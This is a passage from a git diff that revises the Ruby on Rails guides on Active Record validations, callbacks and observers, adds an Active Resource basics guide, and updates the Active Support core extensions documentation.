Proc.new { |a| a.password.blank? } end </ruby> @@ -559,19 +563,58 @@ Sometimes it is useful to have multiple validations use one condition, it can be <ruby> class User < ActiveRecord::Base with_options :if => :is_admin? do |admin| - admin.validates_length_of :password, :minimum => 10 - admin.validates_presence_of :email + admin.validates :password, :length => { :minimum => 10 } + admin.validates :email, :presence => true end end </ruby> All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+ -h3. Creating Custom Validation Methods +h3. Performing Custom Validations + +When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer. + +h4. Custom Validators + +Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method. + +<ruby> +class MyValidator < ActiveModel::Validator + def validate(record) + unless record.name.starts_with? 'X' + record.errors[:name] << 'Need a name starting with X please!' + end + end +end + +class Person + include ActiveModel::Validations + validates_with MyValidator +end +</ruby> + +The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance. + +<ruby> +class EmailValidator < ActiveModel::EachValidator + def validate_each(record, attribute, value) + unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i + record.errors[attribute] << (options[:message] || "is not an email") + end + end +end + +class Person < ActiveRecord::Base + validates :email, :presence => true, :email => true +end +</ruby> + +As shown in the example, you can also combine standard validations with your own custom validators. -When the built-in validation helpers are not enough for your needs, you can write your own validation methods. +h4. Custom Methods -Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. +You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. @@ -581,13 +624,15 @@ class Invoice < ActiveRecord::Base :discount_cannot_be_greater_than_total_value def expiration_date_cannot_be_in_the_past - errors.add(:expiration_date, "can't be in the past") if - !expiration_date.blank? and expiration_date < Date.today + if !expiration_date.blank? and expiration_date < Date.today + errors.add(:expiration_date, "can't be in the past") + end end def discount_cannot_be_greater_than_total_value - errors.add(:discount, "can't be greater than total value") if - discount > total_value + if discount > total_value + errors.add(:discount, "can't be greater than total value") + end end end </ruby> @@ -597,7 +642,7 @@ You can even create your own validation helpers and reuse them in several differ <ruby> ActiveRecord::Base.class_eval do def self.validates_as_choice(attr_name, n, options={}) - validates_inclusion_of attr_name, {:in => 1..n}.merge(options) + validates attr_name, :inclusion => { {:in => 1..n}.merge(options) } end end </ruby> @@ -618,12 +663,11 @@ The following is a list of the most commonly used methods. Please refer to the + h4(#working_with_validation_errors-errors). +errors+ -Returns an OrderedHash with all errors. Each key is the attribute name and the value is an array of strings with all errors. +Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors. <ruby> class Person < ActiveRecord::Base - validates :name, :presence => true - validates_length_of :name, :minimum => 3 + validates :name, :presence => true, :length => { :minimum => 3 } end person = Person.new @@ -642,8 +686,7 @@ h4(#working_with_validation_errors-errors-2). +errors[]+ <ruby> class Person < ActiveRecord::Base - validates :name, :presence => true - validates_length_of :name, :minimum => 3 + validates :name, :presence => true, :length => { :minimum => 3 } end person = Person.new(:name => "John Doe") @@ -700,7 +743,7 @@ Another way to do this is using +[]=+ setter h4. +errors[:base]+ -You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to the array and uses it as the error message. +You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message. <ruby> class Person < ActiveRecord::Base @@ -710,16 +753,13 @@ class Person < ActiveRecord::Base end </ruby> - - h4. +errors.clear+ The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. <ruby> class Person < ActiveRecord::Base - validates :name, :presence => true - validates_length_of :name, :minimum => 3 + validates :name, :presence => true, :length => { :minimum => 3 } end person = Person.new @@ -742,14 +782,12 @@ The +size+ method returns the total number of error messages for the object. <ruby> class Person < ActiveRecord::Base - validates :name, :presence => true - validates_length_of :name, :minimum => 3 - validates_presence_of :email + validates :name, :presence => true, :length => { :minimum => 3 } end person = Person.new person.valid? # => false -person.errors.size # => 3 +person.errors.size # => 2 person = Person.new(:name => "Andrea", :email => "andrea@example.com") person.valid? # => true @@ -758,20 +796,23 @@ person.errors.size # => 0 h3. Displaying Validation Errors in the View -Rails maintains an official plugin that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. +Rails maintains an official plugin, DynamicForm, that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. h4. Installing as a plugin + <shell> $ rails plugin install git://github.com/joelmoss/dynamic_form.git </shell> -h4 Installing as a Gem -Add this line on your Gemfile: +h4. Installing as a Gem + +Add this line in your Gemfile: + <ruby> gem "dynamic_form" </ruby> -Now you will have access to these two methods in your view templates: +Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates. h4. +error_messages+ and +error_messages_for+ @@ -779,8 +820,8 @@ When creating a form with the +form_for+ helper, you can use the +error_messages <ruby> class Product < ActiveRecord::Base - validates_presence_of :description, :value - validates_numericality_of :value, :allow_nil => true + validates :description, :value, :presence => true + validates :value, :numericality => true, :allow_nil => true end </ruby> @@ -801,11 +842,13 @@ end <% end %> </erb> -To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default: +If you submit the form with empty fields, the result will be similar to the one shown below: !images/error_messages.png(Error messages)! -You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. +NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css. + +You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result. <erb> <%= error_messages_for :product %> @@ -813,7 +856,7 @@ You can also use the +error_messages_for+ helper to display the error messages o The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. -Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header. +Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example, <erb> <%= f.error_messages :header_message => "Invalid product!", @@ -821,23 +864,23 @@ Both the +form.error_messages+ and the +error_messages_for+ helpers accept optio :header_tag => :h3 %> </erb> -Which results in the following content: +results in: !images/customized_error_messages.png(Customized error messages)! -If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+. +If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded. -h4. Customizing the Error Messages CSS +h4(#customizing-error-messages-css). Customizing the Error Messages CSS -The selectors to customize the style of error messages are: +The selectors used to customize the style of error messages are: * +.field_with_errors+ - Style for the form fields and labels with errors. -* +#errorExplanation+ - Style for the +div+ element with the error messages. -* +#errorExplanation h2+ - Style for the header of the +div+ element. -* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. -* +#errorExplanation ul li+ - Style for the list items with individual error messages. +* +#error_explanation+ - Style for the +div+ element with the error messages. +* +#error_explanation h2+ - Style for the header of the +div+ element. +* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element. +* +#error_explanation ul li+ - Style for the list items with individual error messages. -Scaffolding for example generates +app/assets/stylesheets/scaffold.css.scss+, which later compiles to +app/assets/stylesheets/scaffold.css+ and defines the red-based style you saw above. +If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above. The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. @@ -850,7 +893,7 @@ The way form fields with errors are treated is defined by +ActionView::Base.fiel * A string with the HTML tag * An instance of +ActionView::Helpers::InstanceTag+. -Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. +Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. <ruby> ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| @@ -864,21 +907,21 @@ ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| end </ruby> -This will result in something like the following: +The result looks like the following: !images/validation_error_messages.png(Validation error messages)! h3. Callbacks Overview -Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. +Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. h4. Callback Registration -In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks. +In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: <ruby> class User < ActiveRecord::Base - validates_presence_of :login, :email + validates :login, :email, :presence => true before_validation :ensure_login_has_a_value @@ -891,11 +934,11 @@ class User < ActiveRecord::Base end </ruby> -The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line. +The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: <ruby> class User < ActiveRecord::Base - validates_presence_of :login, :email + validates :login, :email, :presence => true before_create do |user| user.name = user.login.capitalize if user.name.blank? @@ -903,7 +946,7 @@ class User < ActiveRecord::Base end </ruby> -It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. +It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. h3. Available Callbacks @@ -914,20 +957,20 @@ h4. Creating an Object * +before_validation+ * +after_validation+ * +before_save+ -* +after_save+ * +before_create+ * +around_create+ * +after_create+ +* +after_save+ h4. Updating an Object * +before_validation+ * +after_validation+ * +before_save+ -* +after_save+ * +before_update+ * +around_update+ * +after_update+ +* +after_save+ h4. Destroying an Object @@ -943,7 +986,7 @@ The +after_initialize+ callback will be called whenever an Active Record object The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. -The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. +The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and they are registered simply by defining them as regular methods with predefined names. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behavior is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, which would otherwise significantly slow down the queries. <ruby> class User < ActiveRecord::Base @@ -1000,7 +1043,7 @@ The +after_initialize+ callback is triggered every time a new object of the clas h3. Skipping Callbacks -Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. * +decrement+ * +decrement_counter+ @@ -1010,6 +1053,7 @@ Just as with validations, it's also possible to skip callbacks. These methods sh * +increment+ * +increment_counter+ * +toggle+ +* +touch+ * +update_column+ * +update_all+ * +update_counters+ @@ -1018,13 +1062,13 @@ h3. Halting Execution As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. -The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. +The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. h3. Relational Callbacks -Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model: <ruby> class User < ActiveRecord::Base @@ -1050,11 +1094,11 @@ Post destroyed h3. Conditional Callbacks -Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. +As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option. -h4. Using +:if+ and +:unless+ with a Symbol +h4. Using +:if+ and +:unless+ with a +Symbol+ -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the method returns false; when using the +:unless+ option, the callback won't be executed if the method returns true. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed. +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. <ruby> class Order < ActiveRecord::Base @@ -1064,7 +1108,7 @@ end h4. Using +:if+ and +:unless+ with a String -You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: <ruby> class Order < ActiveRecord::Base @@ -1072,9 +1116,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using +:if+ and +:unless+ with a Proc +h4. Using +:if+ and +:unless+ with a +Proc+ -Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners. +Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners: <ruby> class Order < ActiveRecord::Base @@ -1085,7 +1129,7 @@ end h4. Multiple Conditions for Callbacks -When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration. +When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration: <ruby> class Comment < ActiveRecord::Base @@ -1098,18 +1142,19 @@ h3. Callback Classes Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. -Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model. +Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model: <ruby> class PictureFileCallbacks def after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> -When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way: +When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: <ruby> class PictureFile < ActiveRecord::Base @@ -1117,13 +1162,14 @@ class PictureFile < ActiveRecord::Base end </ruby> -Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. +Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: <ruby> class PictureFileCallbacks def self.after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> @@ -1140,16 +1186,25 @@ You can declare as many callbacks as you want inside your callback classes. h3. Observers -Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. h4. Creating Observers -For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality. +For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality. <shell> $ rails generate observer User </shell> +generates +app/models/user_observer.rb+ containing the observer class +UserObserver+: + +<ruby> +class UserObserver < ActiveRecord::Observer +end +</ruby> + +You may now add methods to be called at the desired occasions: + <ruby> class UserObserver < ActiveRecord::Observer def after_create(model) @@ -1165,7 +1220,7 @@ h4. Registering Observers Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :user_observer </ruby> @@ -1173,7 +1228,7 @@ As usual, settings in +config/environments+ take precedence over those in +confi h4. Sharing Observers -By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe. +By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe: <ruby> class MailerObserver < ActiveRecord::Observer @@ -1185,10 +1240,10 @@ class MailerObserver < ActiveRecord::Observer end </ruby> -In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect. +In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :mailer_observer </ruby> @@ -1196,7 +1251,7 @@ h3. Transaction Callbacks There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. -Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after a record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. +Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. <ruby> PictureFile.transaction do @@ -1225,14 +1280,3 @@ end </ruby> The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. - -h3. Changelog - -* February 17, 2011: Add description of transaction callbacks. -* July 20, 2010: Fixed typos and rephrased some paragraphs for clarity. "Jaime Iniesta":http://jaimeiniesta.com -* May 24, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* May 15, 2010: Validation Errors section updated by "Emili Parreño":http://www.eparreno.com -* March 7, 2009: Callbacks revision by Trevor Turk -* February 10, 2009: Observers revision by Trevor Turk -* February 5, 2009: Initial revision by Trevor Turk -* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile new file mode 100644 index 0000000000..851aac1a3f --- /dev/null +++ b/railties/guides/source/active_resource_basics.textile @@ -0,0 +1,120 @@ +h2. Active Resource Basics + +This guide should provide you with all you need to get started managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Resource allows you to connect with RESTful web services. So, in Rails, Resource classes inherited from +ActiveResource::Base+ and live in +app/models+. + +h3. Configuration and Usage + +Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class +that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it: + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" +end +</ruby> + +Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes +life cycle methods that operate against a persistent store. + +h3. Reading and Writing Data + +Active Resource make request over HTTP using a standard JSON format. It mirrors the RESTful routing built into Action Controller but will also work with any other REST service that properly implements the protocol. + +h4. Read + +Read requests use the GET method and expect the JSON form of whatever resource/resources is/are being requested. + +<ruby> +# Find a person with id = 1 +person = Person.find(1) +# Check if a person exists with id = 1 +Person.exists?(1) # => true +# Get all resources of Person class +Person.all +</ruby> + +h4. Create + +Creating a new resource submits the JSON form of the resource as the body of the request with HTTP POST method and parse the response into Active Resource object. + +<ruby> +person = Person.create(:name => 'Vishnu') +person.id # => 1 +</ruby> + +h4. Update + +To update an existing resource, 'save' method is used. This method make a HTTP PUT request in JSON format. + +<ruby> +person = Person.find(1) +person.name = 'Atrai' +person.save +</ruby> + +h4. Delete + +'destroy' method makes a HTTP DELETE request for an existing resource in JSON format to delete that resource. + +<ruby> +person = Person.find(1) +person.destroy +</ruby> + +h3. Validations + +Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors. + +h4. Validating client side resources by overriding validation methods in base class + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" + + protected + + def validate + errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/ + end +end +</ruby> + +h4. Validating client side resources + +Consider a Person resource on the server requiring both a first_name and a last_name with a validates_presence_of :first_name, :last_name declaration in the model: + +<ruby> +person = Person.new(:first_name => "Jim", :last_name => "") +person.save # => false (server returns an HTTP 422 status code and errors) +person.valid? # => false +person.errors.empty? # => false +person.errors.count # => 1 +person.errors.full_messages # => ["Last name can't be empty"] +person.errors[:last_name] # => ["can't be empty"] +person.last_name = "Halpert" +person.save # => true (and person is now saved to the remote service) +</ruby> + +h4. Public instance methods + +ActiveResource::Validations have three public instance methods + +h5. errors() + +This will return errors object that holds all information about attribute error messages + +h5. save_with_validation(options=nil) + +This validates the resource with any local validations written in base class and then it will try to POST if there are no errors. + +h5. valid? + +Runs all the local validations and will return true if no errors. diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile index 66869b4eeb..ff6c5f967f 100644 --- a/railties/guides/source/active_support_core_extensions.textile +++ b/railties/guides/source/active_support_core_extensions.textile @@ -78,12 +78,14 @@ The following values are considered to be blank in a Rails application: * +nil+ and +false+, -* strings composed only of whitespace, i.e. matching +/\A\s*\z/+, +* strings composed only of whitespace (see note below), * empty arrays and hashes, and * any other object that responds to +empty?+ and it is empty. +INFO: In Ruby 1.9 the predicate for strings uses the Unicode-aware character class <tt>[:space:]</tt>, so for example U+2029 (paragraph separator) is considered to be whitespace. In Ruby 1.8 whitespace is considered to be <tt>\s</tt> together with the ideographic space U+3000. + WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank. For example, this method from +ActionDispatch::Session::AbstractStore+ uses +blank?+ for checking whether a session key is present: @@ -294,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value: <ruby> account.to_query('company[name]') -# => "company%5Bname%5D=Johnson+%26+Johnson" +# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson" </ruby> so its output is ready to be used in a query string. @@ -436,20 +438,6 @@ end NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+. -h4. +require_library_or_gem+ - -The convenience method +require_library_or_gem+ tries to load its argument with a regular +require+ first. If it fails loads +rubygems+ and tries again. - -If the first attempt is a failure and +rubygems+ can't be loaded the method raises +LoadError+. A +LoadError+ is also raised if +rubygems+ is available but the argument is not loadable as a gem. - -For example, that's the way the MySQL adapter loads the MySQL library: - -<ruby> -require_library_or_gem('mysql') -</ruby> - -NOTE: Defined in +active_support/core_ext/kernel/requires.rb+. - h4. +in?+ The predicate +in?+ tests if an object is included in another object. An +ArgumentError+ exception will be raised if the argument passed does not respond to +include?+. @@ -512,7 +500,7 @@ ActionController::TestCase.class_eval do end </ruby> -Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialised in validations. +Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations. NOTE: Defined in +active_support/core_ext/module/aliasing.rb+. @@ -731,12 +719,70 @@ X.local_constants # => ["X2", "X1", "Y"], assumes Ruby 1.8 X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8 </ruby> -The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ returns always strings. +The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ always returns strings. -WARNING: This method is exact if running under Ruby 1.9. In previous versions it may miss some constants if their value in some ancestor stores the exact same object than in the receiver. +WARNING: This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using +Object#object_id+). NOTE: Defined in +active_support/core_ext/module/introspection.rb+. +h5. Qualified Constant Names + +The standard methods +const_defined?+, +const_get+ , and +const_set+ accept +bare constant names. Active Support extends this API to be able to pass +relative qualified constant names. + +The new methods are +qualified_const_defined?+, +qualified_const_get+, and ++qualified_const_set+. Their arguments are assumed to be qualified constant +names relative to their receiver: + +<ruby> +Object.qualified_const_defined?("Math::PI") # => true +Object.qualified_const_get("Math::PI") # => 3.141592653589793 +Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034 +</ruby> + +Arguments may be bare constant names: + +<ruby> +Math.qualified_const_get("E") # => 2.718281828459045 +</ruby> + +These methods are analogous to their builtin counterparts. In particular, ++qualified_constant_defined?+ accepts an optional second argument in 1.9 +to be able to say whether you want the predicate to look in the ancestors. +This flag is taken into account for each constant in the expression while +walking down the path. + +For example, given + +<ruby> +module M + X = 1 +end + +module N + class C + include M + end +end +</ruby> + ++qualified_const_defined?+ behaves this way: + +<ruby> +N.qualified_const_defined?("C::X", false) # => false (1.9 only) +N.qualified_const_defined?("C::X", true) # => true (1.9 only) +N.qualified_const_defined?("C::X") # => false in 1.8, true in 1.9 +</ruby> + +As the last example implies, in 1.9 the second argument defaults to true, +as in +const_defined?+. + +For coherence with the builtin methods only relative paths are accepted. +Absolute qualified constant names like +::Math::PI+ raise +NameError+. + +NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+. + h4. Synchronization The +synchronize+ macro declares a method to be synchronized: @@ -876,13 +922,15 @@ end It is shorter, and the intention more obvious. -The macro accepts several methods: +The method must be public in the target. + +The +delegate+ macro accepts several methods: <ruby> delegate :name, :age, :address, :twitter, :to => :profile </ruby> -When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such a expression is evaluated in the context of the receiver: +When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver: <ruby> # delegates to the Rails constant @@ -961,7 +1009,7 @@ h4. Class Attributes h5. +class_attribute+ -The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy: +The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy. <ruby> class A @@ -997,7 +1045,7 @@ self.default_params = { }.freeze </ruby> -They can be also accessed and overridden at the instance level: +They can be also accessed and overridden at the 